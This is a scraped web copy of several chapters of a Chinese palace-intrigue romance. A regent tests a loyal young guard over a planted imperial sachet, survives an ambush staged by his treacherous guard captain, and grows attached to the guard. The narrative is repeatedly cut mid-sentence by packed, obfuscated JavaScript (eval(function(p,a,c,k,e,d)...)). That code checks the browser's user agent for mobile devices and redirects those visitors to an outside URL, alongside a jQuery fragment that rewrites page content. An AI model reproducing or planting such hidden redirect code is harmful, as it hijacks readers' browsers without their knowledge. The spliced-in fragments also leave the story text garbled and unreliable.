RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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议论声虽低,却清晰地钻入褚良耳中。他擦拭弓臂的手猛地顿住,禁不住微微发颤,一股冰冷的寒意瞬间从脚底窜遍全身,胃里一阵翻江倒海。 他死死咬住下唇,强迫自己继续手上的动作,但那份沉重和恐惧却如同巨石压在心口,让他几乎喘不过气。 此时,一个身影在他旁边停下,褚良忙收敛心神,招呼道,“陈都统。” 陈锋抱着手臂,目光扫过那把弓,又落在褚良略微苍白的脸上,声音冷淡,听不出情绪,“利器招祸,不如藏锋。挂在那儿,是嫌自己命长?” 说完,也不等褚良反应,径直走开。 褚良擦拭的手顿住了,看着陈锋离去的背影,又看看手中沉甸甸的弓,眉头紧锁。 好巧不巧,翌日,侍卫长李莽巡视王府时,在回廊里拾到一份匿名的“密告”,上面只有潦草一行字: “褚良贴身藏有御用之物,形迹可疑。” 李莽看后,没有声张,待晚间,趁褚良被唤去书房值守、侍卫房内暂时无人的短暂空隙,他悄然潜入了褚良的住处。 很快,在褚良枕下压着的几件换洗衣物最底层,李莽摸到了一个小巧的东西! 他眼中精光爆射,一把将其抽出——是一枚明黄色的、绣着精致盘龙纹的锦缎香囊! 书房内,宇文尚刚换好药,正批阅奏章。 门外响起李莽熟悉的声音 “王爷!属下有要事禀报!” “进来。”宇文尚头也未抬。 李莽进入,单膝跪地,双手高举那个明黄色香囊,语气沉痛而愤慨, “王爷!属下奉严查府内之命,在褚良私密之处搜出此物!此乃御用盘龙香囊!褚良私藏禁物,形同亵渎!其心叵测!请王爷明察!” 宇文尚批阅的朱笔顿住了。他缓缓抬起头,目光落在李莽手中那抹刺眼的明黄上。那香囊……他记得。那日小皇帝来时,腰间别的正是此物。 他的目光在香囊上停留了数息。脸上没有任何表情,既无怒意,也无惊讶,唯有一片深沉的、化不开的阴沉。 烛光在他轮廓分明的脸上投下深深的阴影,那双墨紫色的眼眸如同寒潭,深不见底。 5. 第 5 章 书房内,烛火在宇文尚墨紫色的发梢跳跃,映着他轮廓分明的侧脸,他的眼中是一片深沉的平静。 那枚刺眼的明黄香囊,静静躺在紫檀木矮几上,如同投入深潭的石子,虽未掀起巨浪,却搅动了潭底的暗流。 宇文尚的指尖在金丝楠木的扶手上无意识地轻点。 李莽那张因告发而亢奋的脸清晰可见,其指控背后的小心思,他洞若观火。 但香囊本身……小皇帝宇文珏刻意拉拢褚良的意图昭然若揭。 其实,宇文尚更关心的是,褚良在这其中扮演了什么角色?是心领神会,还是……懵然无知? 不管真相如何,即刻捉拿褚良,只会打草惊蛇,宇文尚要的是引蛇出洞,看清宇文珏的全部意图。 而褚良到底是不是居心叵测……一试便知。 “来人。”宇文尚的声音平稳无波,听不出任何情绪。 书房门无声滑开,侍立门外的依旧是李莽和心腹大太监王德全。 “王爷。”两人躬身。 宇文尚的目光掠过李莽脸上尚未褪尽的期待,语气平淡, “香囊一事,侍卫长‘用心’了。” 他刻意在“用心”二字上略作停顿,李莽不紧心头一凛。 “不过,此物牵扯御用,不宜声张,暂且压下。” 李莽愕然,张了张嘴,“王爷?这证据……” “孤自有主张。” 宇文尚打断他,不容置疑,继而转向王德全,眼神深邃,“王伴伴,将此物,”他指了指香囊,“原封不动地,悄悄放回原处。” 听出王爷话中的重音,王德全眼中精光一闪,立刻躬身, “老奴明白。” 他跟随宇文尚多年,深知这位主子的脾性。此举绝非息事宁人,而是布下陷阱。 若褚良心虚,必有异动,若此事不实,为李莽刻意栽赃,也必然败露。 李莽也察觉出此事不同寻常,他脸色瞬间变得难看,如同吞了黄连,但在宇文尚那深不见底的目光下,他只能咬牙应道,“属下遵命。” “另外,”宇文尚的目光重新落回李莽身上,带着一丝审视, “即日起,褚良调入书房内值守。孤身边缺个手脚利落的。” 他语气随意,仿佛只是进行了一次普通的侍卫调整。 李莽心中憋屈得几乎要吐血,却不敢有丝毫异议,“是!” 褚良接到调令时,心中涌起的惊喜和惶恐一样巨大。 从外围守卫直接调入王爷书房内值守!这是何等的信任和恩宠,但离王爷越近也意味着,离危险更近。 每一次靠近明察秋毫的摄政王,褚良都感觉左胸下的印记灼热滚烫,仿佛随时会穿透衣服显现出来,在王爷面前,褚良感觉自己像在万丈深渊上走钢丝,而深渊之下,是比死亡更可怕的黑暗。 这让他紧张无比。 他必须比以往任何时候都更加谨慎。 他沉默地站在书房内指定的角落,低眉垂目,如同最坚实的磐石。他努力收敛气息,不发出丝毫声响,目光只落在自己前方三尺之地,绝不乱瞟。他努力让宽松的侍卫服尽可能平整,不敢有丝毫松懈。 王爷批阅奏折时,他是背景;王爷召见幕僚时,他是影子。他心中只有一个念头:尽忠职守,不负王爷提拔之恩;深藏秘密,不招惹任何是非。 王德全和李莽悄无声息地完成了“香囊归位”的任务。 王德全事后向宇文尚密报:香囊确系原物,放置过程顺利,李莽虽脸色难看,但未敢动手脚。褚良也毫无异状,回房后并未察觉枕下被动过,或者说,他心思纯直,根本不会去翻动那些地方——他的心神,全系在如何当好这个“内卫”上。 宇文尚点头,但,对褚良的考验才刚刚开始。 他有时会在批阅标注“绝密”的边关军报时,对王德全或幕僚“无意间”提及某个敏感地名或时间节点,声音不高不低,恰好能让角落里的褚良听到。有时会在与心腹将领密谈时,故意抛出一些具有迷惑性的部署调整。同时,冷眼观察着褚良的反应。 褚良始终如一。 他如同入定的老僧,对那些足以引起朝堂震动的消息置若罔闻。他的眼神依旧坦荡,带着对职责的专注和对王爷的敬畏,没有丝毫窥探、好奇或是急于告密的闪烁。 他的呼吸平稳,姿态恭谨,仿佛那些话语从未入耳,或者即便入了耳,也如同过耳清风,与他守护王爷的本职毫无干系。 几次三番下来,宇文尚心中那点因香囊而起的猜疑,如同阳光下的薄雾,悄然散去不少。 这石头……虽然木讷笨拙,但这份近乎本能的“不闻不问”、“不看不听”,这份将“职责”二字刻入骨髓的纯粹,反而让他感到满意。 至少目前看来,褚良的“忠”,是块未经雕琢却质地坚硬的璞玉。 然而,表面的平静下,暗流从未停歇。 一日,王德全悄无声息地来到宇文尚身边,俯身低语,声音凝重如铅,“王爷,府里有耗子打洞了。老奴的人发现,有消息从西角门递出去,接头的是宫里采买司的一个小内侍,线……最终通到陛下身边。” 他顿了顿,补充道,“线报……都是关于王爷近日起居行踪的琐碎。传递的并非紧要军情,倒像是在……投石问路,试探深浅。” 宇文尚批阅奏折的朱笔微微一顿,凤眸深处寒光一闪即逝。 果然!小皇帝按捺不住了! 这香囊只是个引子,真正的窥伺和试探,已经如同附骨之疽 ,悄然渗入了他的王府! 一丝冰冷的杀意在宇文尚眼底凝聚。 他放下笔,身体微微后仰,一个更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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尖锐的破空声撕裂夜的宁静,数道黑影如同鬼魅般从两侧屋脊和巷口暗处暴起! 淬毒的弩箭、闪着寒光的刀锋,带着凌厉的杀意直扑马车! “有刺客!护驾!” 李莽厉声嘶吼,拔刀格挡射向马车的弩箭,动作却似乎慢了半拍。 褚良瞳孔骤缩!几乎在刺客现身的同时,他已本能地猛夹马腹,不顾一切地扑向马车车门,用身体死死挡在车窗前!一支弩箭擦着他的肩头飞过,带起一片衣角! “王爷小心!” 他嘶吼着,反手拔出腰刀,奋力劈开一支射向马匹的毒箭! 刺客人数不多,却个个身手狠辣,配合默契,显然是精心培养的死士!他们目标明确,直指马车! 宇文尚端坐车内,听着外面激烈的金铁交鸣和褚良奋不顾身的嘶吼,墨紫色的眼眸在黑暗中闪烁着冰冷而危险的光芒。 鱼儿……果然上钩了。 只是这钩子下的血腥味,比他预想的还要浓烈。 他的手中,已悄然握紧了一柄藏在袖中的淬毒短匕。 6. 第 6 章 巷弄里的杀气如同凝固的冰霜! 弩箭破空、刀锋裂帛、马匹惊嘶、李莽变调的“护驾”嘶吼,瞬间点燃死亡风暴! 刺客目标明确——黛蓝色马车! 褚良根本来不及思考,身体已本能猛夹马腹,不顾一切扑向车门,用整个后背死死挡住车窗! 那一瞬间,宇文尚隔着车窗缝隙,瞥见了褚良扑过来时,那张年轻的脸上写满不顾一切的决然。 “噗嗤!” 一支弩箭擦着褚良的肩胛飞过,带起皮肉血花! 火辣剧痛传来,他身形纹丝未动。另一支射向马匹的毒箭则被他反手挥刀劈开! “王爷小心!待在车里!” 褚良大喊,同时单手握刀,目光如电扫视扑来的黑影。 他看到了李莽——那看似奋力格挡的动作却显然慢了半拍,身影也离马车越来越远,甚至将刺客“引导”向自己这边! 一个骇人的念头窜入脑中:李莽反了! 就在此时,一道游魂般的黑影突破陈锋拦截,淬毒的短匕如毒蛇吐信,刺向褚良因格挡露出的肋下空门! 死亡阴影瞬间笼罩! “锵——!” 乌沉寒芒如闪电后发先至,精准架住致命一匕!火星四溅! 是陈锋!他眼神锐利如鹰,再无平日里的冷漠, “李莽反水!小心!” 暴喝撕破伪装! 陈锋的长剑爆出凌厉剑光,挡住偷袭,更顺势逼退另一刺客! 褚良心神巨震!怒火冲垮恐惧!怒吼声中,腰刀带着破釜沉舟之势,狠狠劈向被陈锋逼退的刺客!刀势沉重狠辣,竟将刺客劈得踉跄后退! 李莽听到暴喝,脸色变得狰狞扭曲,厉声尖啸, “杀!先杀宇文尚者!赏金万两!” 他不再伪装,挥刀直扑马车,两名同伙也凶相毕露,紧随其后! 马车瞬间陷入三面绝境! 车内,宇文尚端坐如磐石。 李莽的背叛在他意料之外,却也在情理之中——嫉妒和野心被小皇帝利用到了极致! 就在李莽刀锋即将劈开车门之际! “轰!” 车门被一股巨力踹开! 玄色身影裹挟着令人窒息的威压与凛冽杀意,悍然扑出! 宇文尚! 他手中只有一柄不足尺长的淬毒乌金短匕,此刻已化作死神的獠牙! 快!快得不可思议! 李莽只觉眼前玄影一闪,咽喉便传来冰凉剧痛!他甚至没看清宇文尚如何出手,乌金短匕已精准吻过喉管,鲜血狂喷! 李莽眼中的疯狂凝固,化为惊骇绝望,捂着喷血的脖子轰然倒地! 宇文尚毫不停滞,旋身避开同伙长枪,余光瞥见褚良正奋力劈开一个刺客,但显然动作不似之前敏捷。 他的乌金短匕立时划出诡异弧线,闪电般刺入那人的太阳穴! 另一刺客见状,骇然不已,转身欲逃,却被宇文尚反手掷出的短匕如追魂箭般贯入后心! 兔起鹘落!三名叛徒,尽数毙命! 宇文尚出手之狠辣精准,让剩余的刺客肝胆俱颤! “王爷!” 褚良和陈锋异口同声,精神大振! 宇文尚弯腰拔回短匕,血珠沿刀刃连串滴落。 他动作优雅,却致命,墨发狂舞,玄衣染血,如浴血修罗,令人胆寒。 宇文尚目光冰冷的扫过战场,“留一个活口。其余的……杀!” “遵命!”陈锋、褚良齐声应道! 几乎在宇文尚命令下达的同时! “咻咻咻——!” 密集的破空声从巷口两侧屋脊响起! 精准无比的弩箭如同长了眼睛,瞬间将剩余几名悍勇刺客钉死在原地!连惨叫声都未及发出! 接着,数十名身着黑色劲装的影卫,迅捷无声的涌入巷弄,瞬间封锁所有出口,开始清理战场。 为首的大太监王德全,此刻脸色煞白,几乎是连滚爬扑到宇文尚面前,声音带着后怕的颤抖, “王爷!老奴护驾来迟!罪该万死!您……您受伤了?!” 他惊恐地看着宇文尚衣袍上的血迹,以及那柄还在滴血的短匕。 王爷竟然亲自出手了?!这完全不在计划内! “无妨。”宇文尚声音平淡,仿佛刚才浴血厮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻言,褚良紧绷的神经终于松懈,强撑的力气耗尽,眼前一黑,身体不受控制地向前软倒,单膝重重跪在冰冷染血的地面上!鲜血顺着指尖滴落。 “褚良!”陈锋惊呼,连忙上前搀扶。 闻声,宇文尚的脚步顿住。他回身看着那个跪倒在血泊中、因失血和剧痛而失去意识的挺拔身影,握着短匕的手指,无意识地收紧了一瞬。 这个为他挡箭、为他搏命、此刻因守护他而倒下的身影,第一次如此清晰地、带着血色的重量,在他一贯冰冷的眸光中撞出数圈涟漪。 7. 第 7 章 王府医馆内,药香浓郁。烛光下,褚良脸色苍白地躺在榻上,眉头紧锁,陷入昏沉。失血过多让他异常虚弱。 太医已为他处理了肩胛处狰狞的伤口。 清创、缝合、敷上最好的金疮药,再用洁净细布仔细包扎好。 处理过程颇为艰难。当太医示意褚良褪去染血的上衣以便检查伤口时,褚良竟在剧痛和虚弱中,爆发出惊人的力量!他猛地蜷缩起身子,死死攥住了胸前的衣襟,手指关节捏得发白,眼神充满了难以言喻的惊惶、恐惧,抗拒之意明显。 他声音嘶哑地低吼,“不!只处理肩膀!别碰……别碰别处!” “褚侍卫!你这是何意?不褪衣,老夫如何检查是否有其他暗伤?若有内伤未觉,恐有性命之忧!” 太医又急又怒,皱眉呵斥。 褚良只是摇头,咬紧下唇甚至渗出血丝,汗水混着血水从额角滑落,整个人如同受惊的困兽,用尽最后力气保护性地侧身向内,紧紧护住胸前。 他眼中那份深入骨髓的恐惧和固执的抗拒,让太医既困惑又无可奈何。 最终,太医只能剪开他肩部周围的衣物,艰难地处理了看得见的伤口,并再三检查确认伤口边缘无毒物残留。 至于褚良为何如此激烈抗拒脱衣检查,太医虽有疑虑,但见他伤势确实集中在肩部,又失血严重,便未再强求,只能归咎于此人性格实在古怪执拗得过分。 书房内,烛火通明。 血腥气已被沉水香驱散,但气氛依旧凝重如铁。 宇文尚已沐浴更衣完毕,墨紫色长发束起,玄色常服一丝不苟,恢复了摄政王清贵冷峻的仪态。大太监王德全躬身侍立一旁,脸上惊魂未定之色未褪。 “王爷,老奴……老奴斗胆!”王德全声音带着后怕的颤抖,“今日之事,太过凶险!您万金之躯,怎能……怎能亲自出手?那几人不过是侍卫!死了便死了,再选就是!可您若有丝毫闪失,这江山社稷……” 宇文尚端坐案后,指尖无意识地点着桌面,打断王德全, “王伴伴,孤说了,心里有数。” 他声音平淡,却带着不容置喙的威压。 “李莽该死,死不足惜。陈锋……堪用。至于褚良……” 他顿了顿,墨紫色的眼眸深处,掠过一丝连他自己都未曾完全理清的复杂情绪。 王德全见王爷咽下后半句未言,心下不禁生出个念头。 宇文尚没有解释。眼前闪过褚良扑向马车挡箭的身影,嘶哑的“王爷小心”,以及最后力竭跪倒在血泊中的模样。 这份近乎本能、不计代价的“忠”,带着一种原始的、愚钝的纯粹力量,如同未经雕琢的璞玉,在充斥着算计和背叛的权力场中,灼热得烫手,也……珍贵得罕见。 这份纯粹,让他违背了平日绝对理智的行事准则,在那个瞬间选择了亲自出手,不仅仅是为了清除叛徒。 “活口审得如何?”宇文尚转移了话题。 王德全也连忙收敛心神,低声道:“那刺客骨头硬得很,用了重刑才撬开嘴。确系宫里那位小主子……通过一个被收买的管事嬷嬷牵线,买通了李莽。许以重金和高位,条件是……制造混乱,取您性命。香囊,也是那位小主子授意,借机试探拉拢褚良的棋子。” 宇文尚眼中寒芒暴涨,嘴角勾起一丝冰冷的弧度, “好,很好。孤的好侄儿……心倒是越来越大了。” 杀意如同实质般在书房内弥漫。“把口供整理好,连同那个活口……一并‘处理’干净。今晚的痕迹全部抹掉。” “是!”王德全心中一凛,知道那活口和所有证据都将彻底消失,但王爷心中的账,却已记得清清楚楚。 夜深,病榻上的褚良依然处在昏沉中,他无意识地紧攥着胸前的衣襟,仿佛那是他最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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暮春将尽,初夏的气息已悄然在京城弥漫。摄政王府的书房内,紫檀大案上奏疏堆积如山,沉水香也压不住那股无形的焦灼。宇文尚端坐其后,墨紫色的长发仅用一枚古朴的墨玉簪松松束着,几缕发丝垂落颊边,衬得他眉宇间凝着化不开的倦意与冷冽。他指尖的朱笔悬停在一份关于北疆狄戎频频扰边的军报上,久久未落批。 大太监王德全垂手侍立一旁,看着自家主子眼下淡淡的青影和案头早已冰凉的参汤,终是忍不住低声劝道, “王爷,您已熬了整宿,歇息片刻吧?龙体要紧啊。北狄之事非一日可解,京中那些个不识好歹的聒噪,更不值得您如此耗费心神。” 他话语隐晦,却道尽了当前困局:北疆狄戎蠢蠢欲动,小皇帝宇文珏身体抽条、变声期已至,朝堂上要求皇帝“亲秉国政”的呼声日益频繁,更有勋贵因宇文尚力主推行的“清丈田亩、追缴亏空”等触及根本利益的国策而暗中倒戈,向小皇帝频频示好。 这看似花团锦簇的宇文王朝,内里早已是千疮百孔,国库空虚,吏治腐败,积弊如山,全赖宇文尚这些年以铁血手腕苦苦支撑,却也惹得一身骂名。 宇文尚放下笔,指节无意识地在冰冷的紫檀扶手上轻敲。王德全的话像针,精准地刺中了他那根紧绷的弦。 他何尝不知? 北疆的烽火、朝堂的暗涌、勋贵的贪婪、国库的窘迫…… 还有那个在深宫中日渐长成、眼神里藏着恨意与野心的侄儿…… 千钧重担,全压在他一人的肩头。 他深知,要重振这摇摇欲坠的江山,唯有行苛政,用重典,刮骨疗毒! 但这其中的凶险与阻力……宇文尚墨紫色的眼眸深处掠过一丝极寒的锐芒。 “歇息?”他最终只冷冷吐出两个字,带着一丝自嘲,重新拿起了朱笔。 那挺直的背影,孤高而决绝。 王德全心中一叹,不敢再劝。 恰在此时,书房门被轻轻推开,换班的侍卫走了进来。当先一人,身姿挺拔如崖边劲松,正是褚良。 他肩胛处的箭伤已愈合得七七八八,但动作间仍能看出一丝凝滞。 自围场救驾和城南遇刺后,宇文尚对他恩宠日隆。在提拔沉稳可靠的陈锋为侍卫长的同时,破格提拔毫无根基的褚良为副都统,更赐下金银财帛无数。 副都统,是很多勋贵子弟奋斗一辈子也争不到的职位,何况他一个低贱的猎户孤儿出身? 面对高官厚禄,褚良诚惶诚恐,视宇文尚为再造恩人。 养伤第三天便挣扎着爬起来当值,那份忠恳,连王德全都暗自点头。 知他识字不多,武学粗鄙,恐难胜任职位,宇文尚便亲自教导,闲暇时常唤褚良到跟前考校功课。 “王爷。”褚良恭敬上前,规矩行礼。 他穿着标准的王府副都统赭红色劲装,初夏的暖意渐浓,旁人早已换上轻薄的短打,他却依旧将领口扣得一丝不苟,严严实实地遮住了脖颈。宇文尚曾随口提过让他换装,他却罕见地迟疑着没有立刻遵命,只低声道“卑职习惯了”。 宇文尚当时看了他一眼,深沉的眸光在他紧束的领口停留了一瞬,倒也没强求,之后不久,王德全便吩咐小太监在褚良当值的角落附近多放了几盆硕大的冰鉴。 丝丝寒气驱散了暑热,这是宫里主子才有的待遇。褚良起初并不知道这冰的珍贵,还是陈锋无意间提醒,他才受宠若惊,越发觉得王爷恩重如山,无以为报。 随着那熟悉的唤声,宇文尚抬头,目光落在褚良身上,那因朝事而紧绷的神经,不自觉的放松了些许。 他放下笔,声音里带着一丝自己都未察觉的随意:“前日孤教你的那套短匕近身格挡之术,可练熟了?” “回王爷,卑职日夜揣摩,不敢懈怠。”褚良立刻上前,眼中燃起对精进武艺的热切光芒。 “好,与孤过两招。”宇文尚起身,水色常服衬得他身形飘逸挺拔。 他随手从兵器架上取下一对未开刃的短匕,抛了一把给褚良。 两人在书房中央的空地站定。 褚良深吸一口气,握紧匕首,眼神锐利。 宇文尚身形一动,快如闪电,匕首带着破风声直刺褚良肋下!褚良反应极快,拧身格挡,动作干净利落。 宇文尚眼中掠过一丝赞许,攻势却愈发凌厉,点、刺、抹、削,招招精妙,逼得褚良全力应对。 然而,十几招过后,宇文尚便察觉了异样。 褚良的招式虽标准,力道也足,却总带着拘谨。 面对他这位“恩师”兼“主子”,褚良显然不敢放手施为,他进攻时留了三分力,防守时又过于一板一眼,显得有些束手束脚。 宇文尚心中了然,并未点破,只是在一次漂亮的格挡反制后,用匕首柄轻轻点了点褚良紧绷的手臂肌肉,淡淡道, “招式尚可,只是少了几分搏命的狠劲与机变。沙场之上,瞬息万变,犹豫便是死路。下次与陈锋过招时,放开些。” “是!卑职谨记王爷教诲!” 褚良收势,额头已渗出细密汗珠,气息微喘,心中对宇文尚高深莫测的武艺更加崇敬。 王爷不仅救他性命,提拔他官职,赐他神弓“飞星”,更亲自教导他文武之道,这份厚恩,自己一个小小孤儿,实在无以为报。 宇文尚坐回案后,拿起朱笔批阅了两份奏折,忽然又开口:“前日孤让你临摹的那篇《千字文》,写完了么?拿来孤瞧瞧。” 褚良心中一紧,连忙从怀中珍重地取出一叠略显粗糙但叠放整齐的纸张,双手奉上,脸上带着学生面对严师般的紧张,“回王爷,写完了。只是卑职愚钝,字迹丑陋,恐污了王爷的眼。” 宇文尚接过,目光扫过那纸上虽显笨拙却一笔一划极其认真的字迹。比起初时那歪歪扭扭的“褚良”二字,确实进步不小。 他指着其中几个字,“这个‘永’字,捺脚要再舒展些,如刀劈斧斫,方显气魄。这个‘和’字,左右相携,重心要稳,如人立天地。” 他指点着,语气不算温和,却也并无苛责。 褚良屏息凝神,认真听着,连连点头,眼神专注得如同最虔诚的信徒。 宇文尚看着他微微低垂的侧脸,那因紧张而抿紧的唇线,在透过窗棂的日光下泛着健康的淡红光泽,他的目光不自觉的被吸引,指尖则无意识地在温润的墨玉笔杆上摩挲了一下。 “尚可。勤能补拙。” 宇文尚将纸递还给他。 褚良刚要退下,却见摄政王忽然解下腰间一枚通体温润、雕刻着蟠螭纹的白玉佩。 “赏你了。算是文武皆有进益的奖赏。” 那玉佩质地极佳,一看便非凡品。 褚良一时呆住,没想到能得到王爷贴身之物作为赏赐,此等荣宠让他又惊又慌,还是经过王德全的提醒,才连忙跪下双手接过那玉佩。 玉佩入手温润,仿佛还带着王爷的体温。 “谢王爷厚赐!卑职……卑职定当更加用心,不负王爷期许!” 这玉佩,是王爷对他的认可,比任何金银都让褚良感到珍贵。 宇文尚看着他眼中纯粹的喜悦、感激,心中那点因朝事而起的郁气似乎消散了些。 教导这块璞玉,观察他笨拙而认真的样子,竟成了他高压政务下难得的放松。 而褚良也在摄政王的培养下,越发出类拔萃。 不仅是文章武艺,连容貌也褪去了山野的粗粝,在王府的滋养和淬炼下,愈发显得英挺俊朗,尤其是那双眼睛,清澈坦荡,不染尘埃。 这种发现,让宇文尚心底掠过异样的涟漪,一圈一圈在心中回荡。 褚良心怀感恩,做事更加尽心尽力,不仅恪守侍卫职责,更主动伺候起了宇文尚的起居琐事, 每当他在书房当值,研墨添水这类小事都不假他人之手。 宇文尚提笔批阅奏折,褚良便会无声地趋前。 他挽起袖子,露出一截线条流畅的小臂,取过那块上好的松烟墨锭,在端砚中注入少许清水。 他的动作沉稳,手腕力道均匀,不急不缓地画着圈研磨。墨汁渐浓,乌黑发亮,散发出淡淡的松香。整个过程行云流水,不发出丝毫噪音,只有墨锭与砚台摩擦的细微沙沙声,如同最熨帖的背景音。 宇文尚只需抬手,那蘸饱了墨汁的紫毫笔便已恰到好处地递到他手边。 宇文尚有午憩的习惯。当他从内间榻上起身,带着一丝慵懒垂下腿时,褚良已无声地跪在脚踏前。 褚良微微垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356375|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首,捧着一双干净柔软的云锦便靴。 宇文尚只需将脚抬起,褚良便稳稳托住,动作轻柔而熟练地将靴子套上,仔细抚平靴筒上的每一丝褶皱,再系好暗扣。 他的神情动作异常专注,宇文尚垂眸,便能看到他低垂的眼睫和挺直的鼻梁,以及那因用力而微微绷紧的下颌线条。 护卫王爷出行,褚良都早早做好准备,不让宇文尚受到半点风吹雨打。偶遇骤雨天气,他宁愿单膝跪地,充当临时马镫,让宇文尚踩着他的大腿上、下马,也绝不让王爷的鞋袜沾上泥污。他自己则任由雨水冲刷,从无抱怨委屈,一举一动都是自然流露,透着忠实和虔诚。 对此,宇文尚极为受用。 褚良的忠良、朴实、毫无机心,在充斥着算计和背叛的权力场中,如同一股清泉,成为宇文尚无可替代的避风港。 他越来越习惯褚良在身边,也越来越满意于这块被他亲手打磨、只属于他的璞玉所展现出的温润光泽。 端午宫宴后,宇文尚饮了些雄黄酒,带着几分微醺回到王府。 书房里,灯烛下,他极致俊美的脸庞少了几分平日摄人的冷冽,多了些许散漫。 褚良依旧在角落值守,身影被烛光拉长。 “褚良。”宇文尚靠在椅背上,声音比平日松软了几分。 “卑职在。”褚良立刻应声,站得笔直。 “过来。”宇文尚指了指下首的椅子, “坐下。今日端午,你也饮一杯。”他指了指案上备着的另一杯雄黄酒。 褚良没想到王爷邀他同坐,瞬间惶恐,只敢挨着椅子边坐了,那杯酒则没敢碰, “谢王爷,卑职当值,不敢饮酒。” 宇文尚看着他拘谨的模样,墨紫色的眼眸中漾起一丝难得的笑意。 他的目光在褚良年轻俊朗的脸上流连,“多大年纪了?” “回王爷,卑职十九。” 褚良恭敬回答,心跳却莫名有些加快。王爷今日……似乎有些不同。 “十九……”宇文尚喃喃,指尖轻轻点着扶手, “孤今年二十有九,整整长你十岁。”他顿了顿,似乎想到了什么,嘴角勾起一个极淡、却足以让褚良屏息的弧度, “先皇十二岁时便有了皇兄。若论起来,孤当你的长辈,该是绰绰有余了。”他目光带着一丝探究和玩味,落在褚良因紧张而微微泛红的耳根上,“以后,私下里,孤便唤你‘良儿’如何?倒显得亲近些。” “良……良儿?”褚良瞬间闹了个大红脸,结结巴巴,手足无措,“卑职惶恐!从……从来没人这么唤过……” 那两个字从王爷口中吐出,带着酒意的微醺和一种难以言喻的亲昵,像羽毛轻轻搔刮着褚良的心尖,激起一阵陌生的战栗。 看着他窘迫得连脖颈都泛起粉色,宇文尚竟难得地低笑出声,那笑声低沉悦耳,带着一种卸下重负的轻松和显而易见的愉悦, “惶恐什么?孤说这么唤,便这么唤了。良儿。”他又清晰地重复了一遍,仿佛在品味这两个字。 “行了,这杯酒赏你了,退下吧。” 褚良捧着那杯泛着琥珀色光泽的雄黄酒,晕乎乎地退了出去。心口像揣了只活蹦乱跳的兔子,砰砰直跳,几乎要撞出胸膛。 “良儿”……王爷竟如此亲昵地唤他!这个特殊的、带着暖意的称呼,让他心头涌起一股隐秘的、巨大的欢喜,如同饮下了最醇厚的美酒,熏然欲醉。 自那后,褚良偶尔会偷偷抬眼,飞快地瞥一眼王爷批阅奏折时专注的侧脸,那俊美无俦的容颜,在烛光下宛如不可亵渎的神祗,让他既崇敬仰望,又因那声“良儿”而生出一丝连自己都不敢深究的、隐秘的悸动。 种种之后,不知不觉间,褚良的内心也悄然滋长了前所未有的念头。 他已经很久不再想做个温饱猎户的事情。 如今,他也有了理想,也有了抱负,他能写文章,能用十八般武器,为何不做个王爷麾下建功立业,驰骋疆场,顶天立地的堂堂男儿!那样,才配得上王爷的赏识和亲近! 至于那深藏的秘密——胸前那枚鲜红的凤形胎记…… 或许……真的能瞒一辈子?即便万一暴露,有王爷这般如山如岳的靠山在,总不会太糟吧? 9. 第 9 章 暮春的午后,阳光透过窗棂,在书房地面投下斑驳的光影。 宇文尚处理完几份紧要军报,揉了揉发胀的太阳穴。连日来的朝堂倾轧,勋贵阳奉阴违,清流含沙射影,让他心头烦闷,如同压着一块巨石。 他需要活动活动筋骨,驱散这股郁气。 习惯性地,他想到了褚良。 那块璞玉,武艺底子好,学东西也快,更重要的是,教导他、看着他笨拙而认真的模样,总能带来一丝奇异的放松。 今日该教他什么?宇文尚盘算着,是那套更精妙的短匕擒拿术,还是上次未讲透的骑射要诀? 他起身,特意唤人取来一套更显身姿利落的玄色银纹劲装换上,对着铜镜束发时,手指拂过那枚墨玉簪,动作比平日更仔细了几分。 收拾停当,他信步朝演武场走去,步履间带着明显的轻松。 然而,还未走近演武场,一阵混杂着金铁交鸣、大声呼喝、叫好的喧闹声便传了过来。 宇文尚脚步微顿,墨紫色的眼眸掠过一丝不悦。王府演武场,何时变得如此嘈杂? 他悄然隐在回廊的阴影下,目光投向场中。只见场地中央,两道矫健的身影正斗得难分难解。 一人正是陈锋,他身法灵动,剑走轻灵,一招一式带着世家子弟特有的优雅与精准。 而另一人……宇文尚的目光倏然沉冷下来——是褚良! 此时的褚良,与在他面前时的拘谨判若两人。 他手握长刀,大开大阖,攻势如潮,带着一股山林猎户特有的悍勇与野性。 汗水浸湿了他的鬓角,在阳光下闪闪发亮,那张英挺的脸上,竟洋溢着一种宇文尚从未见过的酣畅淋漓!他甚至听到褚良在格开陈锋一剑后,发出了一声短促而快意的低喝! 而陈锋,那位平日里沉稳有度、惜字如金的侍卫长,此刻眼中也带着明显的激赏,他一边从容应对褚良凶猛的攻势,一边在间隙中简短地提点,“好力道!沉肩!回旋要快!” 那语气带着明显的熟稔与亲近? 更刺眼的是,周围竟围拢着不少不当值的侍卫,正看得入神,时不时爆出几声由衷的叫好,“副都统好刀法!” “陈大人小心了!” 演武场上气氛热烈而融洽。 宇文尚只觉得一股冰冷的、混杂着强烈不适与莫名烦躁的情绪,瞬间堵在了胸口。 他捏紧了袖中的拳头,指节微微泛白。 